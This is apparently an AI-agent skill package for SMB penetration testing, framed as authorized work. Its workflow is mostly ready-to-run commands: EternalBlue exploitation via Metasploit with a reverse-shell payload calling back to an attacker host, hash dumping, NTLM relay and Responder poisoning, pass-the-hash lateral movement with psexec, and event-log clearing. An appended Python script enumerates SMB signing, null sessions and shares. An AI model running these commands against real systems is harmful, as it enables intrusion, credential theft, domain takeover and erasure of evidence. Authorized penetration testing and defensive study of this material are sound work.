npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- Testing Windows systems for critical SMB vulnerabilities (EternalBlue, EternalRomance, PrintNightmare) during authorized penetration tests
- Demonstrating lateral movement risks via SMB relay, pass-the-hash, and credential spraying
- Validating that patch management processes have addressed known SMB vulnerabilities
- Assessing SMB signing enforcement and share permission configurations across the domain
- Testing network segmentation by attempting SMB exploitation across VLAN boundaries
Do not use against systems without explicit written authorization, against production domain controllers without a maintenance window, or to deploy persistent backdoors beyond the scope of the assessment.
Prerequisites
- Metasploit Framework 6.x installed (
msfconsole --version) - Authorized penetration test scope document listing target IP ranges and approved attack types
- Network access to target SMB services (TCP 445, TCP 139)
- CrackMapExec and Impacket tools installed for complementary SMB testing
- Valid test credentials or credential wordlists approved for the engagement
- Kali Linux or equivalent testing platform
Workflow
Step 1: Enumerate SMB Services and Versions
# Discover hosts with SMB open using Nmap
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24
# Enumerate SMB versions and OS information
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24
# Use CrackMapExec for rapid SMB enumeration
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt
# Check SMB signing status (disabled = vulnerable to relay)
crackmapexec smb 10.10.0.0/24 --smb-signing
# Enumerate shares with null session
crackmapexec smb 10.10.0.0/24 -u '' -p '' --sharesStep 2: Scan for Known SMB Vulnerabilities
# Start Metasploit and scan for MS17-010 (EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run
# Scan for MS08-067 (Conficker vulnerability)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run
# Check for SMBGhost (CVE-2020-0796)
nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24
# Check for PrintNightmare (CVE-2021-34527)
crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmareStep 3: Exploit EternalBlue (MS17-010)
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99
msf6 exploit(ms17_010_eternalblue)> set LPORT 4444
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3
msf6 exploit(ms17_010_eternalblue)> exploit
# Post-exploitation -- verify access level
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM
meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> hashdumpStep 4: Perform SMB Relay Attack
# Identify hosts without SMB signing (from Step 1)
# Set up NTLM relay with Impacket
sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i
# Trigger authentication from a compromised host or via phishing
# From Meterpreter session on a compromised host:
meterpreter> shell
C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password
# Or use Metasploit's SMB relay module
msf6> use exploit/windows/smb/smb_relay
msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30
msf6 exploit(smb_relay)> set LHOST 10.10.1.99
msf6 exploit(smb_relay)> exploit
# Use responder to capture NTLM hashes for offline cracking
sudo responder -I eth0 -wrfvStep 5: Pass-the-Hash and Lateral Movement via SMB
# Extract hashes from compromised system
meterpreter> hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
# Use pass-the-hash with CrackMapExec
crackmapexec smb 10.10.0.0/24 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 --shares
# Execute commands via pass-the-hash
crackmapexec smb 10.10.5.30 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname"
# Use Impacket psexec for interactive shell
impacket-psexec Administrator@10.10.5.30 \
-hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# Use Metasploit psexec module
msf6> use exploit/windows/smb/psexec
msf6 exploit(psexec)> set RHOSTS 10.10.5.30
msf6 exploit(psexec)> set SMBUser Administrator
msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
msf6 exploit(psexec)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(psexec)> set LHOST 10.10.1.99
msf6 exploit(psexec)> exploitStep 6: Document Findings and Clean Up
# Document all compromised systems and access levels
# In Meterpreter, screenshot desktops for evidence
meterpreter> screenshot
# List accessible shares and sensitive data
meterpreter> shell
C:\> net share
C:\> dir \\10.10.5.30\C$\Users\ /s /b
# Clean up -- remove any artifacts
meterpreter> clearev
meterpreter> shell
C:\> del /f C:\Windows\Temp\payload.exe
# Close all sessions
msf6> sessions -K
# Verify cleanup
crackmapexec smb 10.10.5.23 -u Administrator -H <hash> -x "dir C:\Windows\Temp\payload*"Key Concepts
| Term | Definition |
|---|---|
| EternalBlue (MS17-010) | Critical SMB vulnerability in SMBv1 allowing remote code execution as SYSTEM without authentication, originally developed by the NSA and leaked by Shadow Brokers |
| SMB Signing | Cryptographic signing of SMB packets to prevent tampering and relay attacks; when disabled, attackers can relay NTLM authentication to other SMB hosts |
| Pass-the-Hash | Authentication technique using captured NTLM password hashes directly instead of plaintext passwords, bypassing the need to crack the hash |
| NTLM Relay | Attack where captured NTLM authentication is forwarded to a different server in real-time, granting the attacker access as the relayed user |
| PsExec | Remote execution technique that uploads a service binary to the ADMIN$ share and creates a Windows service to execute commands as SYSTEM |
| Null Session | Anonymous SMB connection (empty username and password) that may expose share listings, user enumeration, and policy information on misconfigured systems |
Tools & Systems
- Metasploit Framework: Exploitation framework with dedicated SMB scanner, exploit, and post-exploitation modules for comprehensive SMB testing
- CrackMapExec: Swiss-army knife for SMB enumeration, credential testing, share enumeration, and command execution across Windows networks
- Impacket: Python library providing psexec, smbclient, ntlmrelayx, and other tools for low-level SMB protocol interaction
- Responder: LLMNR/NBT-NS/mDNS poisoner that captures NTLM hashes from Windows name resolution fallback behavior
- enum4linux-ng: Updated SMB enumeration tool for extracting users, groups, shares, and policies from Windows/Samba hosts
Common Scenarios
Scenario: Internal Penetration Test Targeting Windows Domain via SMB
Context: During an internal penetration test for a financial services firm, the tester has network access to the corporate VLAN (10.10.0.0/16). The scope includes testing all Windows servers and workstations for SMB-related vulnerabilities. Active Directory domain is CORP.EXAMPLE.COM with approximately 200 hosts.
Approach:
- Scan the entire /16 for open SMB ports and enumerate OS versions with CrackMapExec
- Identify 12 hosts running Windows Server 2012 R2 without MS17-010 patch applied
- Exploit EternalBlue on a non-critical file server (10.10.5.23) to gain SYSTEM access
- Extract local administrator password hash using hashdump and discover password reuse across 47 hosts
- Use pass-the-hash to access a domain controller, extracting the NTDS.dit database
- Demonstrate that SMB signing is disabled on 83% of hosts, enabling relay attacks
- Document the complete attack chain showing how one unpatched system led to full domain compromise
Pitfalls:
- EternalBlue exploit can cause a blue screen of death (BSOD) on the target, especially on older or unstable systems
- Running psexec on heavily monitored endpoints may trigger EDR alerts and burn the engagement
- Performing hashdump on domain controllers with large databases can cause performance degradation
- Not checking for SMBv1 explicitly -- some scanners may miss it if SMBv2/v3 is also available
Output Format
## SMB Vulnerability Assessment Report
**Engagement**: Internal Penetration Test
**Target Range**: 10.10.0.0/16 (CORP.EXAMPLE.COM)
**SMB Hosts Discovered**: 187
### Critical Findings
**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**
- Severity: Critical (CVSS 9.8)
- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)
- Impact: Remote code execution as SYSTEM without authentication
- Exploited: Yes - gained SYSTEM on 10.10.5.23
- Remediation: Apply MS17-010 patch, disable SMBv1
**Finding 2: SMB Signing Disabled - 155/187 Hosts**
- Severity: High (CVSS 7.5)
- Impact: NTLM relay attacks allow credential forwarding
- Exploited: Yes - relayed domain admin credentials
- Remediation: Enable SMB signing via Group Policy
**Finding 3: Local Admin Password Reuse - 47 Hosts**
- Severity: High (CVSS 7.2)
- Impact: Compromise of one host enables lateral movement to 47 systems
- Remediation: Deploy LAPS (Local Administrator Password Solution)References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.9 KB
API Reference: SMB Vulnerability Assessment Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| impacket | >=0.11.0 | SMB connection, negotiation, share enumeration |
CLI Usage
python scripts/agent.py \
--targets 10.10.0.0/24 \
--username testuser --password 'P@ss' --domain CORP \
--output smb_report.jsonFunctions
check_smb_port(target, port, timeout) -> bool
TCP connect check on port 445.
enumerate_smb(target, username, password, domain) -> dict
Connects via SMBConnection, checks signing status, enumerates OS info and shares. Tests null session if no credentials provided.
scan_network(targets, username, password, domain) -> list
Iterates over targets calling enumerate_smb on each.
find_relay_targets(results) -> list
Returns IPs where isSigningRequired() returns False (vulnerable to NTLM relay).
check_null_sessions(results) -> list
Returns IPs accepting anonymous SMB connections.
expand_cidr(cidr) -> list
Expands CIDR notation to individual host IPs using ipaddress.ip_network.
generate_report(results) -> dict
Compiles findings: signing status, null sessions, accessible shares, risk summary.
Impacket SMBConnection Methods
| Method | Purpose |
|---|---|
SMBConnection(host, host) |
Initialize SMB connection |
negotiateSession() |
Negotiate SMB dialect |
isSigningRequired() |
Check if message signing is enforced |
login(user, pass, domain) |
Authenticate with credentials |
listShares() |
Enumerate available SMB shares |
getServerOS() |
Retrieve OS version string |
Output Schema
{
"smb_hosts_found": 15,
"signing_disabled_hosts": ["10.10.0.5", "10.10.0.12"],
"null_session_hosts": ["10.10.0.5"],
"accessible_shares": [{"host": "10.10.0.5", "share": "Users"}],
"findings": ["HIGH: 2/15 hosts have SMB signing disabled"]
}Scripts 1
agent.py5.9 KB
#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""SMB vulnerability assessment agent using Impacket for enumeration and signing checks."""
import argparse
import json
import logging
import sys
from datetime import datetime
from typing import List
try:
from impacket.smbconnection import SMBConnection
from impacket import smbconnection
except ImportError:
sys.exit("impacket is required: pip install impacket")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def check_smb_port(target: str, port: int = 445, timeout: int = 5) -> bool:
"""Check if SMB port is open on the target."""
import socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((target, port))
s.close()
return True
except (socket.timeout, ConnectionRefusedError, OSError):
return False
def enumerate_smb(target: str, username: str = "", password: str = "",
domain: str = "") -> dict:
"""Enumerate SMB service information on a target host."""
result = {
"target": target,
"port_open": check_smb_port(target),
"os_info": "",
"smb_version": "",
"signing_required": True,
"shares": [],
"error": None,
}
if not result["port_open"]:
result["error"] = "SMB port 445 not reachable"
return result
try:
smb = SMBConnection(target, target, sess_port=445, timeout=10)
smb.negotiateSession()
result["signing_required"] = smb.isSigningRequired()
result["smb_version"] = f"SMBv{smb.getDialect()}"
if username:
smb.login(username, password, domain)
result["os_info"] = smb.getServerOS()
shares = smb.listShares()
for share in shares:
share_name = share["shi1_netname"][:-1]
share_type = share["shi1_type"]
result["shares"].append({
"name": share_name,
"type": share_type,
"remark": share["shi1_remark"][:-1] if share["shi1_remark"] else "",
})
smb.logoff()
else:
try:
smb.login("", "")
result["null_session"] = True
shares = smb.listShares()
for share in shares:
result["shares"].append({"name": share["shi1_netname"][:-1]})
smb.logoff()
except Exception:
result["null_session"] = False
smb.close()
except Exception as exc:
result["error"] = str(exc)
logger.warning("SMB enum failed on %s: %s", target, exc)
return result
def scan_network(targets: List[str], username: str = "", password: str = "",
domain: str = "") -> List[dict]:
"""Scan multiple targets for SMB services."""
results = []
for target in targets:
logger.info("Scanning %s...", target)
info = enumerate_smb(target, username, password, domain)
results.append(info)
return results
def find_relay_targets(results: List[dict]) -> List[str]:
"""Identify hosts where SMB signing is not required (relay targets)."""
targets = [r["target"] for r in results if not r.get("signing_required", True) and r["port_open"]]
logger.info("Found %d SMB relay targets (signing disabled)", len(targets))
return targets
def check_null_sessions(results: List[dict]) -> List[str]:
"""Identify hosts accepting null SMB sessions."""
return [r["target"] for r in results if r.get("null_session")]
def generate_report(results: List[dict]) -> dict:
"""Generate SMB vulnerability assessment report."""
smb_hosts = [r for r in results if r["port_open"]]
relay_targets = find_relay_targets(results)
null_hosts = check_null_sessions(results)
findings = []
if relay_targets:
findings.append(
f"HIGH: {len(relay_targets)}/{len(smb_hosts)} hosts have SMB signing disabled"
)
if null_hosts:
findings.append(
f"MEDIUM: {len(null_hosts)} hosts accept null SMB sessions"
)
all_shares = []
for r in smb_hosts:
for s in r.get("shares", []):
all_shares.append({"host": r["target"], "share": s["name"]})
return {
"assessment_date": datetime.utcnow().isoformat(),
"total_targets_scanned": len(results),
"smb_hosts_found": len(smb_hosts),
"signing_disabled_hosts": relay_targets,
"null_session_hosts": null_hosts,
"accessible_shares": all_shares,
"findings": findings,
}
def expand_cidr(cidr: str) -> List[str]:
"""Expand a CIDR range to individual IPs (supports /24 and smaller)."""
import ipaddress
try:
network = ipaddress.ip_network(cidr, strict=False)
return [str(ip) for ip in network.hosts()]
except ValueError:
return [cidr]
def main():
parser = argparse.ArgumentParser(description="SMB Vulnerability Assessment Agent")
parser.add_argument("--targets", nargs="+", required=True, help="Target IPs or CIDR ranges")
parser.add_argument("--username", default="", help="Domain username")
parser.add_argument("--password", default="", help="Password")
parser.add_argument("--domain", default="", help="Domain name")
parser.add_argument("--output", default="smb_report.json")
args = parser.parse_args()
all_targets = []
for t in args.targets:
all_targets.extend(expand_cidr(t))
results = scan_network(all_targets, args.username, args.password, args.domain)
report = generate_report(results)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()